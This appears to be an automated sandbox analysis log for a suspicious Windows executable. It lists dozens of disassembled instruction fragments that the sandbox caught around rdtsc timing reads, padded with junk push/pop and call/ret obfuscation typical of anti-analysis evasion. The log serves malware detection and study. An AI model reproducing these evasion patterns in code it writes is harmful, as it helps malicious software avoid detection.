Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D46BC1 second address: D46C1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 1304C941h 0x0000000f mov cx, DCBDh 0x00000013 sub dword ptr [ebp+122D1BE3h], esi 0x00000019 push 00000003h 0x0000001b or dword ptr [ebp+122D1BD3h], eax 0x00000021 push 00000000h 0x00000023 mov edx, dword ptr [ebp+122D39D7h] 0x00000029 push 00000003h 0x0000002b jmp 00007F4010EA3D89h 0x00000030 mov dword ptr [ebp+122D23AFh], ebx 0x00000036 call 00007F4010EA3D79h 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f push edx 0x00000040 pop edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D46C1A second address: D46C24 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4010E98D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D46C24 second address: D46C73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010EA3D86h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push esi 0x0000000c je 00007F4010EA3D76h 0x00000012 pop esi 0x00000013 pushad 0x00000014 jmp 00007F4010EA3D88h 0x00000019 push edi 0x0000001a pop edi 0x0000001b popad 0x0000001c popad 0x0000001d mov eax, dword ptr [esp+04h] 0x00000021 push eax 0x00000022 push edx 0x00000023 jne 00007F4010EA3D78h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D46C73 second address: D46CA9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4010E98D48h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jnc 00007F4010E98D58h 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b jng 00007F4010E98D46h 0x00000021 push esi 0x00000022 pop esi 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D46CA9 second address: D46CAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D46CAF second address: D46CB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D46CB3 second address: D46CF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+122D3ADBh] 0x0000000f lea ebx, dword ptr [ebp+12462A6Eh] 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007F4010EA3D78h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 0000001Bh 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f mov dword ptr [ebp+122D1A4Eh], esi 0x00000035 xchg eax, ebx 0x00000036 push ecx 0x00000037 push ebx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D46DB5 second address: D46DE5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jng 00007F4010E98D46h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jnc 00007F4010E98D5Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D46DE5 second address: D46DF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D46EAE second address: D46EB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D46EB4 second address: D46EB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D46EB8 second address: D46ECD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push esi 0x0000000d ja 00007F4010E98D4Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D46ECD second address: D46EE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov eax, dword ptr [eax] 0x00000007 push ebx 0x00000008 push edi 0x00000009 jp 00007F4010EA3D76h 0x0000000f pop edi 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 pushad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D46EE6 second address: D46F19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jno 00007F4010E98D4Ch 0x0000000d popad 0x0000000e pop eax 0x0000000f mov dword ptr [ebp+122D23AFh], esi 0x00000015 lea ebx, dword ptr [ebp+12462A77h] 0x0000001b jo 00007F4010E98D4Ch 0x00000021 mov dword ptr [ebp+122D1B99h], edx 0x00000027 push eax 0x00000028 push ebx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D46F19 second address: D46F1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D46FAE second address: D46FBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F4010E98D46h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D46FBE second address: D46FC4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D46FC4 second address: D46FED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F4010E98D4Fh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push B16FA9B7h 0x00000015 push eax 0x00000016 push edx 0x00000017 ja 00007F4010E98D4Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D46FED second address: D46FF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D46FF1 second address: D4700F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4010E98D59h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D4700F second address: D47098 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 4E9056C9h 0x0000000e add edi, dword ptr [ebp+122D3C0Bh] 0x00000014 jnc 00007F4010EA3D7Ch 0x0000001a push 00000003h 0x0000001c push 00000000h 0x0000001e push ebp 0x0000001f call 00007F4010EA3D78h 0x00000024 pop ebp 0x00000025 mov dword ptr [esp+04h], ebp 0x00000029 add dword ptr [esp+04h], 00000019h 0x00000031 inc ebp 0x00000032 push ebp 0x00000033 ret 0x00000034 pop ebp 0x00000035 ret 0x00000036 mov dword ptr [ebp+122D1F01h], ebx 0x0000003c push 00000000h 0x0000003e mov dword ptr [ebp+122D1B2Fh], esi 0x00000044 push 00000003h 0x00000046 or dword ptr [ebp+122D252Ch], edx 0x0000004c jng 00007F4010EA3D76h 0x00000052 call 00007F4010EA3D79h 0x00000057 jnc 00007F4010EA3D7Ah 0x0000005d push eax 0x0000005e ja 00007F4010EA3D7Ah 0x00000064 mov eax, dword ptr [esp+04h] 0x00000068 push eax 0x00000069 push edx 0x0000006a pushad 0x0000006b push eax 0x0000006c pop eax 0x0000006d pushad 0x0000006e popad 0x0000006f popad 0x00000070 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D47098 second address: D4709D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D4709D second address: D470F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4010EA3D80h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jmp 00007F4010EA3D7Bh 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 pushad 0x00000018 jbe 00007F4010EA3D78h 0x0000001e push eax 0x0000001f pop eax 0x00000020 push ecx 0x00000021 pushad 0x00000022 popad 0x00000023 pop ecx 0x00000024 popad 0x00000025 pop eax 0x00000026 lea ebx, dword ptr [ebp+12462A82h] 0x0000002c add ecx, 50C30F4Ah 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 jc 00007F4010EA3D83h 0x0000003b jmp 00007F4010EA3D7Dh 0x00000040 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D39E4E second address: D39E54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D39E54 second address: D39E5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D39E5A second address: D39E60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D64719 second address: D64735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F4010EA3D83h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D64735 second address: D64739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D648C5 second address: D648CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F4010EA3D76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D64CCA second address: D64CD4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4010E98D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D64F7D second address: D64F89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F4010EA3D7Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D64F89 second address: D64F9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F4010E98D46h 0x0000000d jnc 00007F4010E98D46h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D64F9C second address: D64FBD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010EA3D87h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D64FBD second address: D64FC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D64FC1 second address: D64FC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D652AC second address: D652B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F4010E98D46h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D652B8 second address: D652C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F4010EA3D76h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D652C3 second address: D652CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F4010E98D46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D65440 second address: D65444 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D656FB second address: D656FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D656FF second address: D65703 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D65703 second address: D65718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007F4010E98D4Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D65718 second address: D65742 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4010EA3D7Ch 0x00000008 pushad 0x00000009 jno 00007F4010EA3D76h 0x0000000f jmp 00007F4010EA3D83h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D65893 second address: D65897 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D3838C second address: D38390 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D659E0 second address: D659EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F4010E98D46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D659EA second address: D659FA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4010EA3D7Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D5C033 second address: D5C039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D5C039 second address: D5C03D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D5C03D second address: D5C06C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007F4010E98D4Eh 0x0000000e push edi 0x0000000f pop edi 0x00000010 ja 00007F4010E98D46h 0x00000016 jne 00007F4010E98D5Eh 0x0000001c pushad 0x0000001d jnl 00007F4010E98D46h 0x00000023 jo 00007F4010E98D46h 0x00000029 popad 0x0000002a pushad 0x0000002b push esi 0x0000002c pop esi 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D6BD32 second address: D6BD3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D3160C second address: D31610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D31610 second address: D3162D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jp 00007F4010EA3D76h 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F4010EA3D7Ah 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D6CB9F second address: D6CBA9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D6D263 second address: D6D268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D6E238 second address: D6E255 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4010E98D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jns 00007F4010E98D46h 0x00000011 pop edi 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 jo 00007F4010E98D4Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D6E255 second address: D6E25D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D71D24 second address: D71D28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D3678B second address: D36793 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D71301 second address: D7132D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4010E98D46h 0x00000008 jmp 00007F4010E98D58h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 ja 00007F4010E98D46h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D71491 second address: D714B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4010EA3D85h 0x00000009 pop ecx 0x0000000a jg 00007F4010EA3D7Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D714B3 second address: D714B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D74EE6 second address: D74EEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D74EEB second address: D74F0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f jmp 00007F4010E98D54h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D759D1 second address: D759D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D75AB0 second address: D75AB6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D75AB6 second address: D75AED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], ebx 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F4010EA3D78h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 nop 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b jc 00007F4010EA3D76h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D75AED second address: D75B1E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4010E98D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F4010E98D52h 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F4010E98D50h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D75B1E second address: D75B22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D75E9E second address: D75EA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D75F84 second address: D75F88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D75F88 second address: D75F92 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D7609D second address: D760A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D7610A second address: D76114 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4010E98D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D76114 second address: D76168 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4010EA3D89h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007F4010EA3D78h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 xor dword ptr [ebp+1245D231h], ebx 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 jg 00007F4010EA3D78h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D76619 second address: D76668 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4010E98D48h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f pushad 0x00000010 or dword ptr [ebp+122D1AA0h], esi 0x00000016 pushad 0x00000017 cmc 0x00000018 push eax 0x00000019 pop edi 0x0000001a popad 0x0000001b popad 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push edx 0x00000023 call 00007F4010E98D48h 0x00000028 pop edx 0x00000029 mov dword ptr [esp+04h], edx 0x0000002d add dword ptr [esp+04h], 00000016h 0x00000035 inc edx 0x00000036 push edx 0x00000037 ret 0x00000038 pop edx 0x00000039 ret 0x0000003a mov dword ptr [ebp+122D1F1Eh], esi 0x00000040 xchg eax, ebx 0x00000041 push eax 0x00000042 push edx 0x00000043 push ecx 0x00000044 jg 00007F4010E98D46h 0x0000004a pop ecx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D76668 second address: D7668A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010EA3D88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D7668A second address: D7668E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D7855C second address: D78560 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
